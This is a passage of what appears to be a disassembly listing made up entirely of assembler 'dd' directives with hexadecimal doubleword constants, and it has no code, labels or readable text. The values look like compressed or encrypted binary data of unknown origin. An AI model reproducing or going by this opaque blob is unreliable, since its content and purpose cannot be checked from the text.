11E3C780h, 68002C92h, 5CAC7F74h, 4C2DC041h dd 3E31A1E1h, 0F2B1BAFCh, 7DA36F5Eh, 1ED9FE4Eh, 82F55C29h dd 0B157C4F1h, 58705581h, 494C954Ch, 747AD02Dh, 5F97AB0h dd 2D074968h, 1F9463E1h, 1D1063D1h, 109A843Fh, 442CFD07h dd 0D30B6FF7h, 0E6312057h, 5E1E7A28h, 1246BD2Ch, 56A9559Fh dd 0EBF5B625h, 69101008h, 0D546279Ch, 5834AE8Ch, 80A3CD24h dd 145FF827h, 0BA23658Ch, 2D314D11h, 6C85B08Dh, 22DEC74h dd 8147DFF7h, 2AF0E1EFh, 0E0857797h, 9EF4EFC2h, 2AA89255h dd 0F4BC665Dh, 0CC2D5BC7h, 3BF45F39h, 779DB8BAh, 0F758EF9Ch dd 2E8817C0h, 2AB22E34h, 20B7AF8Dh, 0AB415949h, 0EC65B47Fh dd 74260C69h, 30E02048h, 77AE5D7Ch, 685E3A4Ch, 84165EDh dd 8DE22040h, 1BC82E2Ah, 4E011142h, 57FF4ECh, 19088EF2h dd 3D8DA036h, 31305002h, 553FE9DAh, 509D8366h, 0AE7A4AD8h dd 2EA1F64h, 0E80871CBh, 698B1655h, 8F514EE9h, 10751282h dd 3FD9C072h, 77532870h, 4F9E01E7h, 64E92DBBh, 0BE329334h dd 610BE001h, 0F150F289h, 0EDA3549Bh, 0C5E5F02Ah, 0E00E7225h dd 0E47FBADh, 0CA31184Ah, 1240EEE4h, 696CBD0Bh, 8774A632h dd 8F7ABF2Dh, 87402690h, 0BF7BEC52h, 7DA71E7Eh, 0D759BA84h dd 0E15AF2BBh, 2FD2EED5h, 24A55DEEh, 0B19852C6h, 0B576C2Eh dd 0F96DB368h, 0B9F9BF55h, 0CA0A41Ah, 0D91386F2h, 785A3CEEh dd 0B4F5CDD4h, 7F6C702h, 68C8735Ch, 0E9DA98FCh, 407FA824h dd 0C36D0551h, 55EEF44h, 75E94DD0h, 85C937A3h, 40DBE110h dd 40206E21h, 0EE1E60B5h, 69433079h, 8970080Ch, 34C4775Eh dd 3BE6C9BBh, 411CB7B0h, 7733F415h, 6CD9DB0h, 15820946h dd 52056851h, 0A543C5A3h, 0F8F2334Eh, 35334A78h, 0A61EE08h dd 58022928h, 0E419A82h, 3E845C5Eh, 0B1AACD2Eh, 88FCAC0h dd 0FC1F1E39h, 0AA903FECh, 80925520h, 125FA4F0h, 2890E80h dd 5B3668FBh, 3D8069D1h, 0E93CA072h, 0E2195F60h, 639D017Eh dd 0A1687076h, 1970BA0h, 5710A7EBh, 0A0D32978h, 1B920886h dd 0ADFEEFBDh, 22813E7Eh, 4842E928h, 65F03C65h, 0E3414EE0h dd 0EFC1002Dh, 5CBD5502h, 10782719h, 8905AB54h, 0D8AB5FFEh dd 0AA602A80h, 16DCEBF3h, 0AAAFD7D9h, 93E99DC1h, 0BB4F166Fh dd 0C6CBFC8Ah, 0B804A758h, 1C854262h, 0FD38A182h, 0F7952016h dd 2A595F31h, 0E93F68AAh, 49042C4Fh, 57C0DBF7h, 4E6361FAh dd 4082E025h, 20B0BFA3h, 81951EC0h, 2180E989h, 0C06E9552h dd 245E6B35h, 17E7D6F7h, 41EA4EC0h, 1342C9C9h, 135C6577h dd 0C43042Dh, 31E3C277h, 0B7F85E05h, 0FC625979h, 2B81BA02h dd 4156228Fh, 531DE201h, 0C812A54h, 20851CCAh, 0FCB88142h dd 902BB4Bh, 7AEAB334h, 0D3142DC8h, 92608242h, 0E2B586E9h dd 0EA5B5F9Ah, 0BF575CC0h, 997E12D3h, 812CAA72h, 0E90D4056h dd 0E5470924h, 0D35FBA9Bh, 0BF1502B9h, 43D35F10h, 195703E0h dd 98996C9Dh, 34691C25h, 94B4F00Eh, 501A973Fh, 0D1CF229h dd 14021C08h, 0EC7C575Eh, 3F3C745Ah, 75F95325h, 0D85B0BBCh dd 3FD4F657h, 0CAEB0F6Fh, 64F5274Ch, 794B7A38h, 7686CCEEh dd 0AB6CFC41h, 37F17502h, 0A785F329h, 4B11F3C8h, 4140D1E1h dd 0C7467A4h, 0D1F7413Bh, 9807567Ah, 0C801C48Bh, 0F53DB272h dd 0A0BAD620h, 0C2F647F6h dd 97E3B44Ah, 0C545217h, 28148BEDh, 4E7DC358h, 0B2176FA3h dd 5D6213BEh, 19283D3h, 84057B71h, 78AB67ADh, 0EC11EB82h dd 0BFD1F31Eh, 0AC3F8535h, 0D73C8B9Dh, 0E942F3C5h, 9D3CD86Ah dd 0F587D183h, 7DEA8BD1h, 0D8FBD664h, 6838E977h, 34EB4F2Bh dd 7D1FBF3Ah, 0F62DCC8Bh, 620F62C0h, 21C5B205h, 0F2806B02h dd 0CC177CAh, 1F9B62D6h, 944A92EAh, 5725B4D4h, 81D53C42h dd 0FEFDB73Fh, 0EF6CD17Ah, 0CA2004CBh, 76956E6Fh, 27F1023Ah dd 31363CE4h, 4B587155h, 0FFDFEB85h, 4F660960h, 0D86E4B2Fh dd 640025EAh, 0CF816309h, 4B5B3ABAh, 4FFFC32h, 73E75D47h dd 8A7E14C1h, 0DCC62801h, 9BBD1B83h, 4064802h, 2AD97A27h dd 0F5C67FC9h, 6C716814h, 8C60D8D9h, 765C95C3h, 7E354F41h dd 4BF829FCh, 688A2C5Fh, 9879862Dh, 253B28F7h, 0E0F70FD1h dd 9EF8025Fh, 2262638Fh, 701E3B1Ch, 0C0C7D727h, 8445A663h dd 1C31F6FEh, 0F5253F35h, 918A641Eh, 61EEE5DFh, 2938AAE9h dd 0A63611EEh, 3E6226Ah, 6DC8584Ah, 9D7FCF2h, 10EE7709h dd 83BE15FCh, 40652500h, 0E92D7351h, 0F14201C1h, 57855C5h dd 2E4A295Ch, 0F35A89EEh, 0C67F25ACh, 49FC096Ah, 300725C0h dd 0A2ABD5E9h, 2F515137h, 2F7E81E8h, 10466572h, 0D5827A7Fh dd 0EC2E904h, 66190B68h, 109802E8h, 0E1D177EDh, 35F35C1h dd 84BE8DB5h, 7ECAEACh, 0FD268C3Ch, 5B6D1041h, 9506BDE4h dd 0C4D5B43h, 0BC9817FFh, 9631C30Fh, 0B3AEE2D5h, 893388C6h dd 85EB09D7h, 69F10CA0h, 0DE4A1BF6h, 9DDE9CEFh, 5CCEC95Fh dd 3E8E257Eh, 9294ED7h, 30CB1194h, 7153B100h, 0E9174695h dd 28D0AF39h, 270878C7h, 2D14CDC6h, 8DA3585Ah, 0A0CEE912h dd 0F10EB996h, 3731ED26h, 11C66040h, 0BD0BC203h, 180837A8h dd 62240E59h, 8078CA3Fh, 0ECBB53FEh, 715F1A7Eh, 9E569F43h dd 0E336F302h, 4E47602Fh, 5880A41Eh, 31010AFAh, 0D15EF221h dd 74B6E0E2h, 666420C2h, 3D916089h, 9CFE60F7h, 68B70E9Bh dd 4726E89Dh, 5EE9D3Ah, 324D2EE1h, 0B82A3921h, 9508A401h dd 0EAD1257h, 2BD85538h, 0ED270C34h, 3F9050A6h, 0CEBAC78h dd 0E59ACBDDh, 0F7A6F1EEh, 0D64DE9E1h, 0FFB7604Bh, 842FB813h dd 51911B59h, 84C34D71h, 5EC762BBh, 0F786EF5h, 13046DEh dd 5B8BF580h, 0E9152720h, 5BEB2ED9h, 888506ECh, 0CA0E81E2h dd 8543CEFAh, 2BC86DF1h, 0E4D3CC5Dh, 8853E480h, 0B0D9E4E3h dd 93B26062h, 44D413C3h, 3F1B54C4h, 1A835D09h, 0D1165162h dd 0C2F05EF7h, 9176520Ch, 61638E0Eh, 0AE530541h, 0C9A1213Ah dd 0B0EE042Dh, 0F31B6EFh, 356E72BAh, 98CFB33Fh, 0E842A0F0h dd 40979066h, 76D43158h, 91B44F2Dh, 9D27FE50h, 0B70FF980h dd 12568C8h, 9A8F379h, 0D39ADD31h, 8284DE55h, 7D1BF71Fh dd 5C086674h, 6B2D006Ah, 0C145537Eh, 8E83Ch, 218F65C4h dd 0E0261305h, 2FDD9C86h, 2C095C20h, 595A6566h, 0B0730F76h dd 0EBA66048h, 971ABBE1h, 96F89698h, 604F0872h, 0BA521880h dd 0B24772Dh, 4183680Fh, 6DB7AE30h, 177D7A4Ch, 99AF6B49h dd 0A0EC3BF4h, 0BF5FF9C5h, 0A432F42Dh, 24589127h, 0E2D6B3B5h dd 0F94F4DFh, 0E43A5B5Ah, 0C0559409h, 4EF1E978h, 513B523h dd 0C91844D2h, 1283E348h, 38D8813h, 0DC782525h, 211599D6h dd 0AC30967Fh, 0CCFCD409h, 953CBA4Ah, 4284EBDEh, 0D091FEF5h dd 0E92A96AEh, 1681C460h, 94BE5AD5h, 6713AF06h, 722B7B09h dd 0D4B70994h, 5085FB2Dh, 5313AE5Fh, 68C462A2h, 8493B9D2h dd 2290F889h, 9F3D1A17h, 0EB147854h, 0EDE91208h, 0FDF14FBEh dd 8DDFE7BDh, 0F83B0CC4h, 0D45F25D9h, 31FC796Eh, 0D5D84851h dd 3CBD5541h, 0E3D3F90Bh, 3711025Fh, 0D8225F7Bh, 61796EE7h dd 1BF208h, 80A4B151h, 0FE3E33C1h, 48ACBFC9h, 7868C288h dd 0B0E09862h, 0E8C001ECh, 0FED8F607h, 3F08BEC8h, 943B9B7h dd 0A956E91Bh, 16F0DD16h, 50254002h, 6042C94Ch, 4E3E74F5h dd 1E4FBA3Dh, 854505B8h, 0AE4CC4AEh, 99D0C14h, 5A2D226Ah dd 8EA5101h, 0CD923872h, 0C7AF0163h, 0E1E4503Bh, 0B14A5A76h dd 41A8A7A0h, 0A4E81E5h, 586E6D29h, 0A4FB52F0h, 9E402694h dd 24C3477Fh, 8281C4C8h, 1AF0A377h, 0A1685E0Bh, 8AE0794Dh dd 6F9377B7h, 451B6305h, 0BB62A0D6h, 493BFBC9h, 9A5D4CAAh dd 1A988614h, 29B53810h, 159E817h, 0CF800934h, 96C7CC63h dd 283506C0h, 9533E9F8h, 6FC11812h, 0C6B5009Fh, 0DAC53D80h dd 52010F2Dh, 7A045A68h, 6782C434h, 0EF8E0F84h, 55DD80Bh dd 12F08DE0h, 348B2759h, 0E95DF1B0h, 515E22Eh, 6D85DF69h dd 27C3ECB3h, 0A077DEBEh, 0FB754DC0h, 50AEB902h, 0D180438Bh dd 6E12734Ah, 4593E917h, 46547120h, 11725825h, 92694F1Dh dd 0D028517h, 6F723274h, 3B2474F0h, 5A2DD028h, 0AC3970C5h dd 0F31778E5h, 0AAC60CC0h, 42912540h, 25583FFCh, 0BF8E1282h dd 5584EE29h, 0F1B9ECAEh, 6800B080h, 15C4218Dh, 5A09E1C1h dd 0B0000CA9h, 3A0219AAh, 0D6DFF727h, 0F083457Ah, 0ECB68D30h dd 82667D25h, 0D0939680h, 3B627F82h, 12CC30C3h, 112AB7EAh dd 0C5076602h, 99FE6E35h, 33CF07C3h, 4E55F57h, 0B42D78EFh dd 87BF87C3h, 3FA27436h, 4C6F7884h, 0F910A65Dh, 0B9FC5BA6h dd 9EF25476h, 1F9007E2h, 0C24A6A41h, 4C5D72D8h, 49BC010Bh dd 0E3C13746h, 0FBF53004h, 44D3B504h, 188CEB31h, 85809F11h dd 77591B35h, 1058274Dh, 6816B7D3h, 0BE0E5312h, 25E9C7D8h dd 0C6F2C01Ch, 3FF6E0C0h, 0FC4637D6h, 160594AAh, 9F5CF466h dd 0F2411141h, 0AE046F6Ah, 0C8E8B9A5h, 0B7B79A2Bh, 0A959B9CAh dd 50685682h, 52FD5473h, 2F320FC1h, 15D6620h, 0DC5950CEh dd 307E5AB3h, 7399C157h, 5498E3Bh, 0C5CDD4F1h, 0A5790EAFh dd 0AA7FB405h, 816FDD4h, 0E6000FE8h, 25629D1Bh, 0E8017DEBh dd 0A4282D01h, 3EAFE4D7h, 894589FFh, 0B7B27067h, 4EC568DEh dd 5909FA0Bh, 32772FFBh, 0F2C0D703h, 7EBB10DBh, 60FB5B17h dd 4C7BEB21h, 0E9652D0Bh, 0F42A29B2h, 2FFB205Bh, 0B5C05C92h dd 558221D7h, 8A5E31E6h, 0A82B35B1h, 6CA0B426h, 242A4F0Ah dd 185AB959h, 0F7D7BAE2h, 286E05BEh, 0B3F9090Ch, 0FE3250A7h dd 123BBA48h, 0BDB188E9h, 0F9F14CD4h, 12B2CC7Bh, 0DC12F66Bh dd 71879DEDh, 212BA6BEh, 9BE842D4h, 764FA459h, 0EB2B2BB1h dd 0F9C3BE73h, 902F4690h, 1B2FD9EFh, 14058B7h, 7FCB8143h dd 0D836CA78h, 0D1F4FF3h, 0E3013123h, 62E28ECh, 0D2CE1882h dd 0C8FFAE39h, 8053A2F5h, 64648F68h, 0BFF07685h, 5D025A8Bh dd 40525301h, 0CE627AA5h, 99F013Eh, 0B208F5BAh, 0FA29090Bh dd 0FC8F9C02h, 0D221D657h, 2BB2C057h, 0A2794A9Dh, 42E94A96h dd 83B044A5h, 1F80142Ch, 29052DE8h, 6CAD4CD6h, 1A9DAF93h dd 0CC6CE121h, 0C01D9EC0h, 68755727h, 314C3E7Ah, 0E1CF0274h dd 5F74206Fh, 0EF09C1DEh, 85D485B9h, 0D3ABB0ABh, 57685A0Ah dd 0E8C9740h, 0C4F87716h, 0A6292DFAh, 0E0B55E5Bh, 0A8E684F8h dd 1DC6EEFAh, 0BA695166h, 4A4C7A81h, 3AF501BFh, 98DCB7E8h dd 0F0B83203h, 40FB1406h, 0FE0BEC2Dh, 0D16B5A42h, 0FA23860Fh dd 0BD8A27E2h, 13073AFFh, 944CB002h, 0B4DA90C9h, 0B170B7F8h dd 0C058E700h, 0C7FE03EFh, 0C4F70C80h, 7F0ADFF6h, 0D2B7CB98h dd 7862BE3Ah, 5E81D01Dh, 974CCAD8h, 657D2692h, 0B8E9044Eh dd 515B316h, 3A6B3E79h dd 0BBCD92ABh, 94C1F750h, 80D7F605h, 482131D5h, 4885012Ah dd 38182168h, 94049644h, 5B0F3ABCh, 6F2058FDh, 8DB2E34Ch dd 0A79524F6h, 0F96914EBh, 20F76190h, 0B038894Fh, 3DD8E472h dd 0CC25CA88h, 7FC62049h, 3F058D54h, 95E25F5h, 2C027FEDh dd 547DF231h, 3D9766E7h, 68505501h, 3E933BF1h, 0B03A26F1h dd 9C956691h, 0E8832FF0h, 658884DBh, 0AC21137Fh, 0D8F7E240h dd 0CD95BDF0h, 9F00F8A5h, 5D5882D4h, 0DFB952Ch, 985D5249h dd 4EA7EB6Dh, 8C004FDEh, 516B163h, 2F8F48A1h, 5DE8B44Bh dd 89685E39h, 0F60C9DA8h, 8B79C83Fh, 0D42847E9h, 0D06A15D9h dd 1392439Ch, 4D90054Eh, 1273A7Ah, 17985FF0h, 9266184h dd 36048E45h, 86808F14h, 5A0DE9DDh, 9C3AB877h, 0AD112582h dd 9CF45F27h, 405BD669h, 4490BE56h, 0F97CEF2Ch, 0BB3CF503h dd 0C0CEB348h, 3F631D7Fh, 0F35E50E9h, 6291C4Dh, 0F6CF42A5h dd 4848A579h, 0DBC6BE33h, 9FEF5488h, 2059B7E9h, 0DEFF6C31h dd 2572E7F5h, 0FDC832F1h, 79E188C4h, 0A28CFC6Ah, 5D61EACAh dd 0A4080EDEh, 95852070h, 6D108F75h, 0C16E2506h, 76FAD46Dh dd 171A09FEh, 9D420215h, 0EA160ED5h, 57A5451Eh, 47698CC1h dd 0AA55D92Ch, 0C918CF58h, 1711C217h, 0F7CFC69h, 2F7F8094h dd 0FE8F7765h, 54E6E0CEh, 1289B551h, 0AA0982E9h, 0CDB23677h dd 0E2186828h, 0C2801605h, 4F1DFF35h, 0EB98C38Ah, 70CCB0C2h dd 56A8C817h, 70B40516h, 7AAFB52Dh, 0EA84B556h, 5A849AD6h dd 0AEE0F8E9h, 0BF30E65Dh, 0ED09F2ABh, 1595D5Ch, 595D09E2h dd 0E8EF176Dh, 75160E24h, 0FAE3B75Fh, 0B55BE940h, 84B4886h dd 6AE90612h, 0C502B7B9h, 42447B82h, 5FA709D7h, 22C1AD1Bh dd 8D007A53h, 0BFE07EEh, 4B15B8D0h, 7D0E6B0h, 3CB015Bh dd 61FFB21Eh, 75A1E970h, 4D3C3BC9h, 2C0730E9h, 5E37CE17h dd 8E902F73h, 7816FD0Bh, 0F05D8E30h, 26840F0Bh, 28BA11DDh dd 80ECC53Fh, 0C8315A29h, 3AFC3FA4h, 3CEBEA4Ah, 0A42E68ADh dd 7DC2025Fh, 0C2F0F478h, 9B723A26h, 0B195F427h, 0EE2E2983h dd 180F0F21h, 68600205h, 0AD14BE1h, 834478Ah, 5B0954A1h dd 5AAC3851h, 209D1Eh, 0B71FFA76h, 0DB57295Ah, 68586141h dd 673664D8h, 9F89575Ch, 5070A0E2h, 0D3BA2D04h, 0B8AB8671h dd 43167237h, 0A6502064h, 96C45007h, 3DBAB840h, 38AE1D54h dd 0FECA3BE6h, 0FA1BF2CFh, 3E106CEBh, 8917D231h, 0D40EABE8h dd 3C7A87ECh, 62C4B2EFh, 0D305BDAFh, 0D5F26F8Dh, 17439A4Ah dd 0F4580BFCh, 0EF637A4Bh, 19FB7F42h, 2D26082Bh, 0E8DE0DF0h dd 0DBF73293h, 0C95FD006h, 0B0F27044h, 0A17F6ED0h, 0EDA5C235h dd 24F61581h, 0CDF06F8Eh, 0D782E014h, 0EBC88136h, 76F3F4A3h dd 824F7A95h, 6C7E8408h, 395C67E0h, 0CDD50168h, 0EF3533DDh dd 40EC2130h, 6E0F2D52h, 42457B46h, 75FEF5E8h, 0A701A671h dd 4B60C563h, 35F77481h, 2E2920CEh, 0AC5082A6h, 10611AFAh dd 8B440C22h, 68B26097h, 704781FDh, 4D0942BCh, 89091407h dd 2E67020h, 0A5D4F781h, 5E5F4891h, 0ABA82EEh, 0C18B9540h dd 0CB00B56h, 4F085259h, 400FBD67h, 0DC5DE908h, 685F1DDFh dd 84AC5392h, 8056CEC6h, 0BBBD29Fh, 0FFA781E9h, 8F9C46EEh dd 0E1527812h, 4816545h, 0E1CF8CAAh, 3FBB3340h, 28B0C34h dd 39D8D989h, 0CE219A00h, 57DAF770h, 646109BFh, 23622451h dd 0FEADE9DFh, 0DCAE4887h, 0B8D519FFh, 9238680Ch, 5D13AA26h dd 71ACD6CFh, 83F12612h, 152DAA2Bh, 0AA8D843Bh, 9D001D8Dh dd 68CD6F8Dh, 20AD1E70h, 0AE585E08h, 71F63D38h, 6C9B25E9h dd 52625C74h, 129D087Dh, 7A01F13Dh, 0DD1CB949h, 0FB77B066h dd 0DDD11F2Fh, 0B1C11880h, 265BBE42h, 28306A90h, 0F7121685h dd 24E901DEh, 7B392A03h, 0EAEF62B0h, 1A2661A5h, 6A1A29CEh dd 0DAEAEE85h, 63A9195Ch, 0B221FAAFh, 69CABC3Fh, 0EFC0FF0Ch dd 4A605E5Fh, 26E5A12h, 0E9421370h, 0F25FC8h, 0B84387CFh dd 0C7798327h, 0ED6BA090h, 4BA75B1Ch, 0A67691DDh, 5D2C3BCBh dd 2D312210h, 4DA64866h, 807B37Dh, 9824B6D7h, 8E52F98Eh dd 1F23A5Eh, 0CD14E907h, 4BA58764h, 3C88C3Fh, 4A4C30F0h dd 0AF01E6Eh, 81491201h, 1EF4C0C9h, 7CE9EC28h, 43423EF9h dd 4DC6E11Dh, 0F4264D27h, 543929E6h, 0E8F8DE75h, 1C549F59h dd 68560355h, 43545E66h, 0FCCE3199h, 60B21D86h, 3D74A3FCh dd 2D066A0h, 6BEF9A9Ch, 90EEAAD3h, 897C1B02h, 996ACB62h dd 0E82B58C6h, 3CE9C4D2h, 9C53BFh, 38DA0EDBh, 3FE4685Dh dd 58909DA6h, 6EF282A0h, 0A0475E9Dh, 2ECF45BAh, 12A4F9FCh dd 0A953BAFAh, 74C4CBA2h, 0CAC10ED7h, 26039705h, 0B0123340h dd 2820EEF1h, 988411A8h, 79F67B69h, 0EB4A5856h, 0EB4A1738h dd 0F24E86CAh, 7594C50Ah, 0D87331BAh, 0F4906B93h, 0F66704E8h dd 0D7D35E01h, 310B2A60h, 3E7612E2h, 9500AA8Dh, 73BA6831h dd 3CDB2C28h, 0B0D4C3D7h, 265A669Bh, 0A20FCA95h, 71251D50h dd 0E06AAD82h, 1C5AFE52h, 33E2F490h, 0DF3D4C2Eh, 5FB6F203h dd 0A3067C3Eh, 0C2895257h, 0F3E25006h, 6235F2D6h, 536D6259h dd 0FF2DC21Bh, 65557E0Bh, 5BA88289h, 0FD8B17C6h, 4A09ACC2h dd 0C6D8B15Dh, 9304BB2Bh, 0CE9260E9h, 87796055h, 25862D6Bh dd 42816690h, 0ACFD384Fh, 245BCD47h, 0A8E09CFh, 0BD5D7977h dd 813BFB14h, 8819B182h, 0D30678F4h, 418F7EFh, 0B05861C2h dd 7D50BB70h, 545B2508h, 59642FEBh, 56BE66F0h, 0FF4BD861h dd 1564EF3Bh, 0F487BCEEh, 0E933B8BAh, 0C301B810h, 7C032768h dd 5B60C77Ch, 5E02E634h, 1283E95Dh, 3BE812F8h, 0E120E5E7h dd 0E07B3568h, 39BF8F7Fh, 0CBF83CBh, 0EF9AC44Eh, 9F3F3AA4h dd 0CD5D6B09h, 42688519h, 8851521Ah, 0E85A213Ch, 4BF5C0F8h dd 0F3DC5538h, 78BA244Bh, 0B80537E8h, 840B4506h, 103AB96Dh dd 1155BB5h, 0BBD776F0h, 9C6F759Dh, 6C8A025Ah, 0B051BF99h dd 6D62FB27h, 66DA3498h, 33E4B81Dh, 64C53109h, 9D542D03h dd 8E609D92h, 0C65E61D6h, 58E997D0h, 3BF49520h, 0DFBC9045h dd 0F7215A0Ah, 0C2B2EC68h, 5C7BEF39h, 8E924CB5h, 800E70FBh dd 0EC672ACCh, 82C46507h, 646951F8h, 0A201D854h, 0C2F44895h dd 87722E15h, 6D0A0865h, 2544BE1Ch, 0B9EB0ECEh, 24EF9279h dd 12C88268h, 6D90200Bh, 16833A9h, 46C22A6Ch, 62168BE9h dd 1BAE0010h, 0F7810EE2h, 50031DBDh, 0FE7807Fh, 0E96B3F02h dd 0DD199A32h, 0D64A5FEEh, 5D8CD9F4h, 4C5B4AE4h, 95481855h dd 4252BA16h, 2E050925h, 0D9E6E461h, 2BF221B5h, 0F8715705h dd 8034A41Bh, 0B0670C38h, 3A086001h, 59293026h, 0F1F64177h dd 0D980234Bh, 2E1B72C7h, 2C8D757Fh, 120820B1h, 5EA5CDE9h dd 1593FB34h, 4B8262D3h, 0CE2F2774h, 30990CDBh, 3EA42A13h dd 0A374616h, 79D64201h, 0AB400104h, 9BC332E9h, 0D2A43D1Bh dd 17364211h, 9B7B846h, 50665D2Fh, 0E0CCCBB6h, 4A03132Eh dd 0C450AE5Ah, 34F55808h, 0B1AAC745h, 64D641FEh, 0A8DA3A51h dd 0E58BBF4Eh, 0BDA0E925h, 2BBD6851h, 7AED465Fh, 1063EDC4h dd 55C90BADh, 0DA76023Ch, 52CE84ECh, 518908AEh, 8763DF25h dd 0C3BF39Bh, 0B4EA0F06h, 30349DE9h, 0C712DFA6h, 30BE89D0h dd 64137F35h, 37E12579h, 13F16B30h, 0BB68C94Ah, 0CC60F441h dd 0C778ADC7h, 28160500h, 0F029690Eh, 6E072D51h, 12AF74E0h dd 0F064A866h, 9C412F0Ah dd 7ADCAF31h, 898B915h, 916354BBh, 80AC02E4h, 0D3F695C3h dd 57BFC2DFh, 0C81B3F89h, 519D6C1h, 0A36E9BF1h, 3E60D6DAh dd 4E306858h, 2678B618h, 6600B657h, 0E95F527Ah, 0F90FBDA8h dd 4A06F461h, 157C921Ah, 0B03928AFh, 0F6004541h, 4A5DEF4Bh dd 6FADA1D2h, 0A83BC6F5h, 0EB81F53Eh, 377A8BECh, 0FC2B608Dh dd 0E648C17Bh, 0D51C73B4h, 0C70550Ah, 4EC31193h, 4267D731h dd 0A8854866h, 5AA6A004h, 4F575B48h, 2E7D56EDh, 522D74C5h dd 568141FDh, 7B84B16Ah, 9490358Ah, 0E970522Fh, 44452F0Ch dd 12CB0C7Ch, 834D76Eh, 0BB02D453h, 607E18A5h, 7F4EBB9h dd 4B475A05h, 77F38043h, 9D02304Ch, 0F2E9DE29h, 2B94DF0Bh dd 0C33DD826h, 306F97BDh, 5065B91Eh, 5BBBABh, 805BDC20h dd 6CB7BF4h, 9AD0A6Ah, 7B005F97h, 262D13F9h, 56D02FF7h dd 6C17D600h, 0F3B84BA5h, 0A1ADAE4Bh, 686A6E89h, 0F64EED07h dd 0C7000C38h, 557CBE28h, 0FE1013BDh, 0AD094C68h, 397E377Eh dd 59FDB0C7h, 295B114Ah, 80664F1h, 216A388Ch, 182003A6h dd 0D4C533ADh, 0F647333Dh, 32E8C309h, 9FBD8556h, 0B517A97h dd 0E23BFEE3h, 208BD07Dh, 5F542D10h, 30D3BCF7h, 2552DB15h dd 0F978370Ch, 81D8FCB5h, 80C72D02h, 4BFE3952h, 0E9D398BFh dd 24056B25h, 931E40D2h, 0B5738069h, 0EB0E209Ch, 93C05966h dd 0C2F34102h, 7EAF62E9h, 391A860h, 0D425A4A3h, 0AAF9D589h dd 33D13FA9h, 0F388DAF5h, 0E42DE292h, 0B1454E38h, 88F23A13h dd 0E07CA0D3h, 3B686E18h, 2E4A1C0Ch, 42202AECh, 0D090C47Ah dd 22001228h, 30E70506h, 280146F4h, 5B072DC8h, 92FCB959h dd 853CF6BEh, 94EB37E9h, 9387C4C2h, 51E82C0Fh, 284E08B1h dd 443AC3B0h, 24051C3Eh, 0F0E990B3h, 0A170C6D7h, 71EB753h dd 0FD30ABB5h, 3BDD375Bh, 5E154DF4h, 0D46808FFh, 0E0123D48h dd 0F790450Ch, 94A0AF81h, 0CC8F5EC4h, 545F8BE8h, 87B73D21h dd 433C3BE9h, 3AE7B807h, 0B3482744h, 5A1225A7h, 4F05E1C0h dd 77AB99A4h, 0EEDDB47Ch, 0C2C0EFADh, 39612722h, 0E50B6FB0h dd 8940CB24h, 573D82Fh, 140E92BAh, 0BFDBC153h, 5DFEC669h dd 19785502h, 3129F744h, 4D613B00h, 0D17601B8h, 0E24310C5h dd 6AE98407h, 62887CBCh, 0D4E1EC39h, 55E6C009h, 57280172h dd 0AF0ACA2Dh, 3043A0Fh, 9700DA2Bh, 7F5FCF81h, 0C44B830h dd 5A6E3527h, 3DF3C164h, 88090511h, 0E2158F05h, 0C087844Bh dd 0BE58C3F1h, 62175BD4h, 9FAB5106h, 0F12578D3h, 0C28E5B06h dd 5C01CE13h, 0E83ED821h, 996882F4h, 6F2E7626h, 0A960420h dd 51E44091h, 0A51114BDh, 0AC5B9394h, 13A1105Fh, 73F6A84Bh dd 488051B3h, 8642642Dh, 8542BF1Dh, 4F2FE455h, 0A233842Bh dd 259C9006h, 0AC60F712h, 8FB5FEE7h, 6802EB92h, 0E117BFF8h dd 0A1F3F97Bh, 9F69E60Ch, 0F80E1615h, 0AA5AD317h, 98F5A867h dd 0E84A25B8h, 70DF635h, 0C8BE0F5Ch, 0A372C568h, 0E0621A2Dh dd 57C409A4h, 0DC252BC5h, 0FF6EE55Fh, 0B40582B1h, 2F13B6BBh dd 0BBA81859h, 221A0873h, 0DCB7685Ch, 0A91074E4h, 0CB611E01h dd 30F38757h, 81807681h, 45C11CEFh, 1966422h, 16E1FDC5h dd 3A1F6B01h, 0A941B28Fh, 0B7A87D74h, 0AD973A08h, 13E2A721h dd 0E304C709h, 1E9801EFh, 1BEF6CEh, 41E18173h, 0D84F9A70h dd 0AF16BFF1h, 66C5BC65h, 8BAC8C18h, 0C5628D2h, 0D05297D5h dd 0B923E917h, 2BDD8E4Bh, 1305D00h, 7FE2B951h, 68696630h dd 40D67494h, 0E171736h, 0D85209A0h, 0E90434B2h, 0B5FEEFE3h dd 3768F406h, 92147997h, 968CEA57h, 9DF3526Ch, 0B373D805h dd 0D58DEE31h, 84100C82h, 9880B071h, 14FB09BEh, 164090EAh dd 5D805F7h, 1FAA1F55h, 58097BB2h, 0F94A7C19h, 0B8A4080Fh dd 79F5C8B4h, 74882D5Bh, 80C200FEh, 0B3531CF2h, 0DA0930A0h dd 42D2F65Bh, 8E0660C6h, 0A0CA4F28h, 20ED530Ah, 4FBE6BC5h dd 83AF0512h, 0C7B05EA5h, 100A8409h, 72DD029h, 5D5B8B3Ah dd 0F52E0BBAh, 6D17C616h, 13FA1D73h, 17F249Bh, 0CD428CC3h dd 0ACDC8270h, 0C23564D3h, 0AFAFD91h, 0F19D0AF8h, 0AF669767h dd 0DECE2120h, 0E1EAB5FEh, 8B19515Dh, 32E9391Eh, 0D3F1C2D4h dd 0AA9D5844h, 80754B32h, 6725F680h, 1CDF5428h, 7A2A26Eh dd 0CC889E60h, 0C2B5E927h, 0B8950F81h, 0BD03F097h, 0F20FC29Eh dd 0C0456A7Fh, 372BECAh, 0B4DB07Eh, 52CB159Ch, 95A25900h dd 5116D35Fh, 0EDE043E9h, 4BEF77D1h, 3A9AB13Fh, 0EDDF35E9h dd 0CB5F0D6h, 0E9FC90BAh, 32D298F7h, 97C8A2FBh, 0AD10D1B6h dd 0C5290255h, 7EEA0158h, 0CE5D5213h, 0B0B7B8C6h, 33013B4Dh dd 0BC718C4Ch, 7B7162EAh, 22F96801h, 0E416B8Bh, 44F275Eh dd 0E8402B51h, 300A2C59h, 30E7F1B8h, 394FC5D8h, 10C8AEFDh dd 9043F445h, 0C256EE80h, 68DFA1C8h, 293F0AF5h, 298A6067h dd 9F88FD4Ah, 0BAC36331h, 0B9D750C1h, 41E5457Fh, 0A6DD97E9h dd 68055A44h, 6E8D2045h, 985B3324h, 0BF5EA93h, 21E9B1D9h dd 0D6EC6C2Fh, 53024604h, 904B3D68h, 0A2C0FD60h, 0A90041DFh dd 2E3C12Fh, 0FCE9DBF7h, 5998C308h, 705ED987h, 277E74B9h dd 54DB059Ah, 935C5E08h, 0FE5DC565h, 381A7EA6h, 8BDCFEFCh dd 12150550h, 0F8699B2Dh, 